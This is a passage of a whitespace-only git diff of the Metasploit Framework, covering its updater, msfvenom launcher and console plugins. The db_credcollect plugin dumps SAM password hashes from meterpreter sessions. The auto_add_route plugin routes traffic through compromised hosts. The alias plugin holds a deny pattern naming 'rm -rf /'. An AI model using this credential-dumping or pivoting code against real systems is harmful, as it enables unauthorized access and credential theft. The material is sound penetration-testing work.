do |line| - installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ - upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ - break if installed && upgrade - end - end - if installed && installed != upgrade - upgrade - else - nil - end + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3({'LANG'=>'en_US.UTF-8'}, "apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end end # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| - case arg - # Handle the old wait/nowait argument behavior - when "wait", "nowait" - @wait_index = i - @actually_wait = (arg == "wait") - # An empty or absent config-dir means a default config-dir - when "--config-dir" - @configdir_index = i - # A defined config dir means a defined config-dir - when /--config-dir=(.*)?/ - # Spaces in the directory should be fine since this whole thing is passed - # as a single argument via the multi-arg syntax for system() below. - @configdir = $1 - @configdir_index = i - when /--git-remote=([^\s]*)?/ - @git_remote = $1 - @git_remote_index = i - when /--git-branch=([^\s]*)?/ - @git_branch = $1 - @git_branch_index = i - end + case arg + # Handle the old wait/nowait argument behavior + when "wait", "nowait" + @wait_index = i + @actually_wait = (arg == "wait") + # An empty or absent config-dir means a default config-dir + when "--config-dir" + @configdir_index = i + # A defined config dir means a defined config-dir + when /--config-dir=(.*)?/ + # Spaces in the directory should be fine since this whole thing is passed + # as a single argument via the multi-arg syntax for system() below. + @configdir = $1 + @configdir_index = i + when /--git-remote=([^\s]*)?/ + @git_remote = $1 + @git_remote_index = i + when /--git-branch=([^\s]*)?/ + @git_branch = $1 + @git_branch_index = i + end end @args[@wait_index] = nil if @wait_index @@ -133,122 +133,122 @@ end ####### Since we're SVN, do it all this way ####### if is_svn - # We're fully deprecated now, so just exit. - # Leaving in the commented code in case someone wants to - # get a last-chance at msfupdate before the SVN server goes - # off line, which will be ANY DAY NOW. Seriously. - print_deprecation_warning - $stdin.readline if @actually_wait - exit(0x11) # Comment this to get old functionality back. - @args.push("--config-dir=#{@configdir}") - @args.push("--non-interactive") + # We're fully deprecated now, so just exit. + # Leaving in the commented code in case someone wants to + # get a last-chance at msfupdate before the SVN server goes + # off line, which will be ANY DAY NOW. Seriously. + print_deprecation_warning + $stdin.readline if @actually_wait + exit(0x11) # Comment this to get old functionality back. + @args.push("--config-dir=#{@configdir}") + @args.push("--non-interactive") - res = system("svn", "cleanup") - if res.nil? - $stderr.puts "[-] ERROR: Failed to run svn" - $stderr.puts "" - $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" - $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" - $stderr.puts "[-] to ensure a proper environment." - maybe_wait_and_exit 1 - else - # Cleanup worked, go ahead and update - system("svn", "update", *@args) - end + res = system("svn", "cleanup") + if res.nil? + $stderr.puts "[-] ERROR: Failed to run svn" + $stderr.puts "" + $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" + $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" + $stderr.puts "[-] to ensure a proper environment." + maybe_wait_and_exit 1 + else + # Cleanup worked, go ahead and update + system("svn", "update", *@args) + end end ####### Since we're Git, do it all that way ####### if is_git - out = `git remote show upstream` # Actually need the output for this one. - add_git_upstream unless $?.success? and out =~ %r{(https|git|git@github\.com):(//github\.com/)?(rapid7/metasploit-framework\.git)} + out = `git remote show upstream` # Actually need the output for this one. + add_git_upstream unless $?.success? and out =~ %r{(https|git|git@github\.com):(//github\.com/)?(rapid7/metasploit-framework\.git)} - remote = @git_remote || "upstream" - branch = @git_branch || "master" + remote = @git_remote || "upstream" + branch = @git_branch || "master" - # This will save local changes in a stash, but won't - # attempt to reapply them. If the user wants them back - # they can always git stash pop them, and that presumes - # they know what they're doing when they're editing local - # checkout, which presumes they're not using msfupdate - # to begin with. - # - # Note, this requires at least user.name and user.email - # to be configured in the global git config. Installers should - # take care that this is done. TODO: Enforce this in msfupdate - committed = system("git", "diff", "--quiet", "HEAD") - if committed.nil? - $stderr.puts "[-] ERROR: Failed to run git" - $stderr.puts "" - $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" - $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" - $stderr.puts "[-] to ensure a proper environment." - maybe_wait_and_exit 1 - elsif not committed - system("git", "stash") - $stdout.puts "[*] Stashed local changes to avoid merge conflicts." - $stdout.puts "[*] Run `git stash pop` to reapply local changes." - end + # This will save local changes in a stash, but won't + # attempt to reapply them. If the user wants them back + # they can always git stash pop them, and that presumes + # they know what they're doing when they're editing local + # checkout, which presumes they're not using msfupdate + # to begin with. + # + # Note, this requires at least user.name and user.email + # to be configured in the global git config. Installers should + # take care that this is done. TODO: Enforce this in msfupdate + committed = system("git", "diff", "--quiet", "HEAD") + if committed.nil? + $stderr.puts "[-] ERROR: Failed to run git" + $stderr.puts "" + $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" + $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" + $stderr.puts "[-] to ensure a proper environment." + maybe_wait_and_exit 1 + elsif not committed + system("git", "stash") + $stdout.puts "[*] Stashed local changes to avoid merge conflicts." + $stdout.puts "[*] Run `git stash pop` to reapply local changes." + end - system("git", "reset", "HEAD", "--hard") - system("git", "checkout", branch) - system("git", "fetch", remote) - system("git", "merge", "#{remote}/#{branch}") + system("git", "reset", "HEAD", "--hard") + system("git", "checkout", branch) + system("git", "fetch", remote) + system("git", "merge", "#{remote}/#{branch}") - $stdout.puts "[*] Updating gems..." - require 'bundler' - Bundler.with_clean_env do - system("bundle", "install") - end + $stdout.puts "[*] Updating gems..." + require 'bundler' + Bundler.with_clean_env do + system("bundle", "install") + end end if is_installed - update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) - product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) - if File.exists? product_key - if File.readable? product_key - system("ruby", update_script) - else - $stdout.puts "[-] ERROR: Failed to update Metasploit installation" - $stdout.puts "" - $stdout.puts "[-] You must be able to read the product key for the" - $stdout.puts "[-] Metasploit installation in order to run msfupdate." - $stdout.puts "[-] Usually, this means you must be root (EUID 0)." - maybe_wait_and_exit 10 - end - else - $stdout.puts "[-] ERROR: Failed to update Metasploit installation" - $stdout.puts "" - $stdout.puts "[-] In order to update your Metasploit installation," - $stdout.puts "[-] you must first register it through the UI, here:" - $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" - $stderr.puts "[-] Edition is totally free and takes just a few seconds" - $stderr.puts "[-] to register!)" - maybe_wait_and_exit 11 - end + update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) + product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) + if File.exists? product_key + if File.readable? product_key + system("ruby", update_script) + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] You must be able to read the product key for the" + $stdout.puts "[-] Metasploit installation in order to run msfupdate." + $stdout.puts "[-] Usually, this means you must be root (EUID 0)." + maybe_wait_and_exit 10 + end + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] In order to update your Metasploit installation," + $stdout.puts "[-] you must first register it through the UI, here:" + $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" + $stderr.puts "[-] Edition is totally free and takes just a few seconds" + $stderr.puts "[-] to register!)" + maybe_wait_and_exit 11 + end end if is_apt - $stdout.puts "[*] Checking for updates" - system("apt-get", "-qq", "update") + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") - packages = [] - packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') - packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') - if packages.empty? - $stdout.puts "[*] No updates available" - else - $stdout.puts "[*] Updating to version #{pro_version || framework_version}" - system("apt-get", "install", "--assume-yes", *packages) - if packages.include?('metasploit') - start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) - system(start_cmd) if ::File.executable_real? start_cmd - end - end + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + if packages.include?('metasploit') + start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + system(start_cmd) if ::File.executable_real? start_cmd + end + end end unless is_svn || is_git || is_installed || is_apt - raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" + raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end maybe_wait_and_exit(0) diff --git a/msfvenom b/msfvenom index 5766ea0f66..daa0d7d3ff 100755 --- a/msfvenom +++ b/msfvenom @@ -3,7 +3,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) diff --git a/plugins/alias.rb b/plugins/alias.rb index a936c79378..aeb141d1f5 100644 --- a/plugins/alias.rb +++ b/plugins/alias.rb @@ -8,339 +8,339 @@ require 'rex/ui/text/table' module Msf class Plugin::Alias < Msf::Plugin - class AliasCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class AliasCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - attr_reader :aliases - def initialize(driver) - super(driver) - @aliases = {} - end + attr_reader :aliases + def initialize(driver) + super(driver) + @aliases = {} + end - def name - "Alias" - end + def name + "Alias" + end - @@alias_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-c" => [ true, "Clear an alias (* to clear all)."], - "-f" => [ true, "Force an alias assignment." ] - ) - # - # Returns the hash of commands supported by this dispatcher. - # - def commands # driver.dispatcher_stack[3].commands - { - "alias" => "create or view an alias." - # "alias_clear" => "clear an alias (or all aliases).", - # "alias_force" => "Force an alias (such as to override)" - }.merge(aliases) # make aliased commands available as commands of their own - end + @@alias_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-c" => [ true, "Clear an alias (* to clear all)."], + "-f" => [ true, "Force an alias assignment." ] + ) + # + # Returns the hash of commands supported by this dispatcher. + # + def commands # driver.dispatcher_stack[3].commands + { + "alias" => "create or view an alias." + # "alias_clear" => "clear an alias (or all aliases).", + # "alias_force" => "Force an alias (such as to override)" + }.merge(aliases) # make aliased commands available as commands of their own + end - # - # the main alias command handler - # - # usage: alias [options] [name [value]] - def cmd_alias(*args) - # we parse args manually instead of using @@alias.opts.parse to handle special cases - case args.length - when 0 # print the list of current aliases - if @aliases.length == 0 - return print_status("No aliases currently defined") - else - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Current Aliases", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => [ '', 'Alias Name', 'Alias Value' ] - ) - # add 'alias' in front of each row so that the output can be copy pasted into an rc file if desired - @aliases.each_pair do |key,val| - tbl << ["alias",key,val] - end - return print(tbl.to_s) - end - when 1 # display the alias if one matches this name (or help) - return cmd_alias_help if args[0] == "-h" or args[0] == "--help" - if @aliases.keys.include?(args[0]) - print_status("\'#{args[0]}\' is aliased to \'#{@aliases[args[0]]}\'") - else - print_status("\'#{args[0]}\' is not currently aliased") - end - else # let's see if we can assign or clear the alias - force = false - clear = false - # if using -f or -c, they must be the first arg, because -f/-c may also show up in the alias - # value so we can't do something like if args.include("-f") or delete_if etc - # we should never have to force and clear simultaneously. - if args[0] == "-f" - force = true - args.shift - elsif args[0] == "-c" - clear = true - args.shift - end - name = args.shift - # alias name can NEVER be certain reserved words like 'alias', add any other reserved words here - # We prevent the user from naming the alias "alias" cuz they could end up unable to clear the aliases, - # for example you 'alias -f set unset and then 'alias -f alias sessions', now you're screwed. The byproduct - # of this is that it prevents you from aliasing 'alias' to 'alias -f' etc, but that's acceptable - reserved_words = [/^alias$/i] - reserved_words.each do |regex| - if name =~ regex - print_error "You cannot use #{name} as the name for an alias, sorry" - return false - end - end + # + # the main alias command handler + # + # usage: alias [options] [name [value]] + def cmd_alias(*args) + # we parse args manually instead of using @@alias.opts.parse to handle special cases + case args.length + when 0 # print the list of current aliases + if @aliases.length == 0 + return print_status("No aliases currently defined") + else + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Current Aliases", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => [ '', 'Alias Name', 'Alias Value' ] + ) + # add 'alias' in front of each row so that the output can be copy pasted into an rc file if desired + @aliases.each_pair do |key,val| + tbl << ["alias",key,val] + end + return print(tbl.to_s) + end + when 1 # display the alias if one matches this name (or help) + return cmd_alias_help if args[0] == "-h" or args[0] == "--help" + if @aliases.keys.include?(args[0]) + print_status("\'#{args[0]}\' is aliased to \'#{@aliases[args[0]]}\'") + else + print_status("\'#{args[0]}\' is not currently aliased") + end + else # let's see if we can assign or clear the alias + force = false + clear = false + # if using -f or -c, they must be the first arg, because -f/-c may also show up in the alias + # value so we can't do something like if args.include("-f") or delete_if etc + # we should never have to force and clear simultaneously. + if args[0] == "-f" + force = true + args.shift + elsif args[0] == "-c" + clear = true + args.shift + end + name = args.shift + # alias name can NEVER be certain reserved words like 'alias', add any other reserved words here + # We prevent the user from naming the alias "alias" cuz they could end up unable to clear the aliases, + # for example you 'alias -f set unset and then 'alias -f alias sessions', now you're screwed. The byproduct + # of this is that it prevents you from aliasing 'alias' to 'alias -f' etc, but that's acceptable + reserved_words = [/^alias$/i] + reserved_words.each do |regex| + if name =~ regex + print_error "You cannot use #{name} as the name for an alias, sorry" + return false + end + end - if clear - # clear all aliases if "*" - if name == "*" - @aliases.keys.each do |a| - deregister_alias(a) - end - print_status "Cleared all aliases" - else # clear the named alias if it exists - if @aliases.keys.include?(name) - deregister_alias(name) - print_status "Cleared alias #{name}" - else - print_error("#{name} is not a currently active alias") - end - end - return - end - # smash everything that's left together - value = args.join(" ") - value.strip! - # value can NEVER be certain bad words like 'rm -rf /', add any other reserved words here - # this is basic idiot protection, not meant to be impervious to subversive intentions - reserved_words = [/^rm +(-rf|-r +-f|-f +-r) +\/.*$/] - reserved_words.each do |regex| - if value =~ regex - print_error "You cannot use #{value} as the value for an alias, sorry" - return false - end - end + if clear + # clear all aliases if "*" + if name == "*" + @aliases.keys.each do |a| + deregister_alias(a) + end + print_status "Cleared all aliases" + else # clear the named alias if it exists + if @aliases.keys.include?(name) + deregister_alias(name) + print_status "Cleared alias #{name}" + else + print_error("#{name} is not a currently active alias") + end + end + return + end + # smash everything that's left together + value = args.join(" ") + value.strip! + # value can NEVER be certain bad words like 'rm -rf /', add any other reserved words here + # this is basic idiot protection, not meant to be impervious to subversive intentions + reserved_words = [/^rm +(-rf|-r +-f|-f +-r) +\/.*$/] + reserved_words.each do |regex| + if value =~ regex + print_error "You cannot use #{value} as the value for an alias, sorry" + return false + end + end - is_valid_alias = is_valid_alias?(name,value) - #print_good "Alias validity = #{is_valid_alias.to_s}" - is_sys_cmd = Rex::FileUtils.find_full_path(name) - is_already_alias = @aliases.keys.include?(name) - if is_valid_alias and not is_sys_cmd and not is_already_alias - register_alias(name, value) - elsif force - if not is_valid_alias - print_status "The alias failed validation, but force is set so we allow this. This is often the case" - print_status "when for instance 'exploit' is being overridden but msfconsole is not currently in the" - print_status "exploit context (an exploit is not loaded), or you are overriding a system command" - end - register_alias(name, value) - else - print_error("#{name} already exists as a system command, use -f to force override") if is_sys_cmd - print_error("#{name} is already an alias, use -f to force override") if is_already_alias - if not is_valid_alias and not force - print_error("\'#{name}\' is not a permitted name or \'#{value}\' is not valid/permitted") - print_error("It's possible the responding dispatcher isn't loaded yet, try changing to the proper context or using -f to force") - end - end - end - end + is_valid_alias = is_valid_alias?(name,value) + #print_good "Alias validity = #{is_valid_alias.to_s}" + is_sys_cmd = Rex::FileUtils.find_full_path(name) + is_already_alias = @aliases.keys.include?(name) + if is_valid_alias and not is_sys_cmd and not is_already_alias + register_alias(name, value) + elsif force + if not is_valid_alias + print_status "The alias failed validation, but force is set so we allow this. This is often the case" + print_status "when for instance 'exploit' is being overridden but msfconsole is not currently in the" + print_status "exploit context (an exploit is not loaded), or you are overriding a system command" + end + register_alias(name, value) + else + print_error("#{name} already exists as a system command, use -f to force override") if is_sys_cmd + print_error("#{name} is already an alias, use -f to force override") if is_already_alias + if not is_valid_alias and not force + print_error("\'#{name}\' is not a permitted name or \'#{value}\' is not valid/permitted") + print_error("It's possible the responding dispatcher isn't loaded yet, try changing to the proper context or using -f to force") + end + end + end + end - def cmd_alias_help - print_line "Usage: alias [options] [name [value]]" - print_line - print(@@alias_opts.usage()) - end + def cmd_alias_help + print_line "Usage: alias [options] [name [value]]" + print_line + print(@@alias_opts.usage()) + end - # - # Tab completion for the alias command - # - def cmd_alias_tabs(str, words) - if words.length <= 1 - #puts "1 word or less" - return @@alias_opts.fmt.keys + tab_complete_aliases_and_commands - else - #puts "more than 1 word" - return tab_complete_aliases_and_commands - end - end + # + # Tab completion for the alias command + # + def cmd_alias_tabs(str, words) + if words.length <= 1 + #puts "1 word or less" + return @@alias_opts.fmt.keys + tab_complete_aliases_and_commands + else + #puts "more than 1 word" + return tab_complete_aliases_and_commands + end + end - private - # - # do everything needed to add an alias of +name+ having the value +value+ - # - def register_alias(name, value) - #TODO: begin rescue? - #TODO: security concerns since we are using eval + private + # + # do everything needed to add an alias of +name+ having the value +value+ + # + def register_alias(name, value) + #TODO: begin rescue? + #TODO: security concerns since we are using eval - # define some class instance methods - self.class_eval do - # define a class instance method that will respond for the alias - define_method "cmd_#{name}" do |*args| - # just replace the alias w/the alias' value and run that - driver.run_single("#{value} #{args.join(' ')}") - end - # define a class instance method that will tab complete the aliased command - # we just proxy to the top-level tab complete function and let them handle it - define_method "cmd_#{name}_tabs" do |str, words| - # we need to repair the tab complete string/words and pass back - # replace alias name with the root alias value - value_words = value.split(/[\s\t\n]+/) # in case value is e.g. 'sessions -l' - # valwords is now [sessions,-l] - words[0] = value_words[0] - # words[0] is now 'sessions' (was 'sue') - value_words.shift # valwords is now ['-l'] - # insert any remaining parts of value and rebuild the line - line = words.join(" ") + " " + value_words.join(" ") + " " + str + # define some class instance methods + self.class_eval do + # define a class instance method that will respond for the alias + define_method "cmd_#{name}" do |*args| + # just replace the alias w/the alias' value and run that + driver.run_single("#{value} #{args.join(' ')}") + end + # define a class instance method that will tab complete the aliased command + # we just proxy to the top-level tab complete function and let them handle it + define_method "cmd_#{name}_tabs" do |str, words| + # we need to repair the tab complete string/words and pass back + # replace alias name with the root alias value + value_words = value.split(/[\s\t\n]+/) # in case value is e.g. 'sessions -l' + # valwords is now [sessions,-l] + words[0] = value_words[0] + # words[0] is now 'sessions' (was 'sue') + value_words.shift # valwords is now ['-l'] + # insert any remaining parts of value and rebuild the line + line = words.join(" ") + " " + value_words.join(" ") + " " + str - #print_good "passing (#{line.strip}) back to tab_complete" - # clear current tab_words - driver.tab_words = [] - driver.tab_complete(line.strip) - end - # add a cmd_#{name}_help method - define_method "cmd_#{name}_help" do |*args| - driver.run_single("help #{value}") - end - end - # add the alias to the list - @aliases[name] = value - end + #print_good "passing (#{line.strip}) back to tab_complete" + # clear current tab_words + driver.tab_words = [] + driver.tab_complete(line.strip) + end + # add a cmd_#{name}_help method + define_method "cmd_#{name}_help" do |*args| + driver.run_single("help #{value}") + end + end + # add the alias to the list + @aliases[name] = value + end - # - # do everything required to remove an alias of name +name+ - # - def deregister_alias(name) - self.class_eval do - # remove the class methods we created when the alias was registered - remove_method("cmd_#{name}") - remove_method("cmd_#{name}_tabs") - remove_method("cmd_#{name}_help") - end - # remove the alias from the list of active aliases - @aliases.delete(name) - end + # + # do everything required to remove an alias of name +name+ + # + def deregister_alias(name) + self.class_eval do + # remove the class methods we created when the alias was registered + remove_method("cmd_#{name}") + remove_method("cmd_#{name}_tabs") + remove_method("cmd_#{name}_help") + end + # remove the alias from the list of active aliases + @aliases.delete(name) + end - # - # Validate a proposed alias with the +name+ and having the value +value+ - # - def is_valid_alias?(name,value) - #print_good "Assessing validay for #{name} and #{value}" - # we validate two things, the name and the value + # + # Validate a proposed alias with the +name+ and having the value +value+ + # + def is_valid_alias?(name,value) + #print_good "Assessing validay for #{name} and #{value}" + # we validate two things, the name and the value - ### name - # we don't check if this alias name exists or if it's a console command already etc as -f can override - # that so those need to be checked externally, we pretty much just check to see if the name is sane - name.strip! - bad_words = [/\*/] # add any additional "bad word" regexes here - bad_words.each do |regex| - # don't mess around, just return false in this case, prevents wasted processing - return false if name =~ regex - end + ### name + # we don't check if this alias name exists or if it's a console command already etc as -f can override + # that so those need to be checked externally, we pretty much just check to see if the name is sane + name.strip! + bad_words = [/\*/] # add any additional "bad word" regexes here + bad_words.each do |regex| + # don't mess around, just return false in this case, prevents wasted processing + return false if name =~ regex + end - ### value - # value is considered valid if it's a ref to a valid console cmd, a system executable, or an existing - # alias AND isn't a "bad word" - # Here we check for "bad words" to avoid for the value...value would have to NOT match these regexes - # this is just basic idiot protection - value.strip! - bad_words = [/^msfconsole$/] - bad_words.each do |regex| - # don't mess around, just return false if we match - return false if value =~ regex - end + ### value + # value is considered valid if it's a ref to a valid console cmd, a system executable, or an existing + # alias AND isn't a "bad word" + # Here we check for "bad words" to avoid for the value...value would have to NOT match these regexes + # this is just basic idiot protection + value.strip! + bad_words = [/^msfconsole$/] + bad_words.each do |regex| + # don't mess around, just return false if we match + return false if value =~ regex + end - # we're only gonna validate the first part of the cmd, e.g. just ls from "ls -lh" - value = value.split(" ").first - if @aliases.keys.include?(value) - return true - else - [value, value+".exe"].each do |cmd| - if Rex::FileUtils.find_full_path(cmd) - return true - end - end - end + # we're only gonna validate the first part of the cmd, e.g. just ls from "ls -lh" + value = value.split(" ").first + if @aliases.keys.include?(value) + return true + else + [value, value+".exe"].each do |cmd| + if Rex::FileUtils.find_full_path(cmd) + return true + end + end + end - # gather all the current commands the driver's dispatcher's have & check 'em - driver.dispatcher_stack.each do |dispatcher| - next unless dispatcher.respond_to?(:commands) - next if (dispatcher.commands.nil?) - next if (dispatcher.commands.length == 0) + # gather all the current commands the driver's dispatcher's have & check 'em + driver.dispatcher_stack.each do |dispatcher| + next unless dispatcher.respond_to?(:commands) + next if (dispatcher.commands.nil?) + next if (dispatcher.commands.length == 0) - if dispatcher.respond_to?("cmd_#{value.split(" ").first}") - #print_status "Dispatcher (#{dispatcher.name}) responds to cmd_#{value.split(" ").first}" - return true - else - #print_status "Dispatcher (#{dispatcher.name}) does not respond to cmd_#{value.split(" ").first}" - end - end + if dispatcher.respond_to?("cmd_#{value.split(" ").first}") + #print_status "Dispatcher (#{dispatcher.name}) responds to cmd_#{value.split(" ").first}" + return true + else + #print_status "Dispatcher (#{dispatcher.name}) does not respond to cmd_#{value.split(" ").first}" + end + end - return false - end + return false + end - # - # Provide tab completion list for aliases and commands - # - def tab_complete_aliases_and_commands - items = [] - # gather all the current commands the driver's dispatcher's have - driver.dispatcher_stack.each do |dispatcher| - next unless dispatcher.respond_to?(:commands) - next if (dispatcher.commands.nil? or dispatcher.commands.length == 0) - items << dispatcher.commands.keys - end - # add all the current aliases to the list - items.concat(@aliases.keys) - return items - end + # + # Provide tab completion list for aliases and commands + # + def tab_complete_aliases_and_commands + items = [] + # gather all the current commands the driver's dispatcher's have + driver.dispatcher_stack.each do |dispatcher| + next unless dispatcher.respond_to?(:commands) + next if (dispatcher.commands.nil? or dispatcher.commands.length == 0) + items << dispatcher.commands.keys + end + # add all the current aliases to the list + items.concat(@aliases.keys) + return items + end - end # end AliasCommandDispatcher class + end # end AliasCommandDispatcher class - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - ## Register the commands above - add_console_dispatcher(AliasCommandDispatcher) - end + ## Register the commands above + add_console_dispatcher(AliasCommandDispatcher) + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Alias') + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Alias') - # we don't need to remove class methods we added because they were added to - # AliasCommandDispatcher class - end + # we don't need to remove class methods we added because they were added to + # AliasCommandDispatcher class + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "alias" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "alias" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Adds the ability to alias console commands" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds the ability to alias console commands" + end end ## End Plugin Class end ## End Module diff --git a/plugins/auto_add_route.rb b/plugins/auto_add_route.rb index 7ff136a802..b57c3762ed 100644 --- a/plugins/auto_add_route.rb +++ b/plugins/auto_add_route.rb @@ -5,37 +5,37 @@ module Msf class Plugin::AutoAddRoute < Msf::Plugin - include Msf::SessionEvent - def name; 'auto_add_route'; end + include Msf::SessionEvent + def name; 'auto_add_route'; end - def desc - "Adds routes for any new subnets whenever a session opens" - end + def desc + "Adds routes for any new subnets whenever a session opens" + end - def on_session_open(session) - return if not session.type == 'meterpreter' - session.load_stdapi - sb = Rex::Socket::SwitchBoard.instance - session.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - if not sb.route_exists?(route.subnet, route.netmask) - print_status("AutoAddRoute: Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") - sb.add_route(route.subnet, route.netmask, session) - end - } - end + def on_session_open(session) + return if not session.type == 'meterpreter' + session.load_stdapi + sb = Rex::Socket::SwitchBoard.instance + session.net.config.each_route { |route| + # Remove multicast and loopback interfaces + next if route.subnet =~ /^(224\.|127\.)/ + next if route.subnet == '0.0.0.0' + next if route.netmask == '255.255.255.255' + if not sb.route_exists?(route.subnet, route.netmask) + print_status("AutoAddRoute: Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") + sb.add_route(route.subnet, route.netmask, session) + end + } + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - end + def cleanup + self.framework.events.remove_session_subscriber(self) + end end end diff --git a/plugins/db_credcollect.rb b/plugins/db_credcollect.rb index 6c23c5e613..4e6b9663f7 100644 --- a/plugins/db_credcollect.rb +++ b/plugins/db_credcollect.rb @@ -9,109 +9,109 @@ module Msf class Plugin::CredCollect < Msf::Plugin - include Msf::SessionEvent + include Msf::SessionEvent - class CredCollectCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class CredCollectCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "credcollect" - end + def name + "credcollect" + end - def commands - { - "db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')", - "db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')" - } - end + def commands + { + "db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')", + "db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')" + } + end - def cmd_db_hashes() - print_error "" - print_error "db_hashes is deprecated. Use 'creds -s smb' instead." - print_error "" - end + def cmd_db_hashes() + print_error "" + print_error "db_hashes is deprecated. Use 'creds -s smb' instead." + print_error "" + end - def cmd_db_tokens() - print_error "" - print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead." - print_error "" - end + def cmd_db_tokens() + print_error "" + print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead." + print_error "" + end - end + end - def on_session_open(session) + def on_session_open(session) - return if not self.framework.db.active + return if not self.framework.db.active - print_status("This is CredCollect, I have the conn!") + print_status("This is CredCollect, I have the conn!") - if (session.type == "meterpreter") + if (session.type == "meterpreter") - # Make sure we're rockin Priv and Incognito - session.core.use("priv") - session.core.use("incognito") + # Make sure we're rockin Priv and Incognito + session.core.use("priv") + session.core.use("incognito") - # It wasn't me mom! Stinko did it! - hashes = session.priv.sam_hashes + # It wasn't me mom! Stinko did it! + hashes = session.priv.sam_hashes - # Target infos for the db record - addr = session.sock.peerhost - # This ought to read from the exploit's datastore. - # Use the meterpreter script if you need to control it. - smb_port = 445 + # Target infos for the db record + addr = session.sock.peerhost + # This ought to read from the exploit's datastore. + # Use the meterpreter script if you need to control it. + smb_port = 445 - # Record hashes to the running db instance - hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = smb_port - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - data[:active] = true + # Record hashes to the running db instance + hashes.each do |hash| + data = {} + data[:host] = addr + 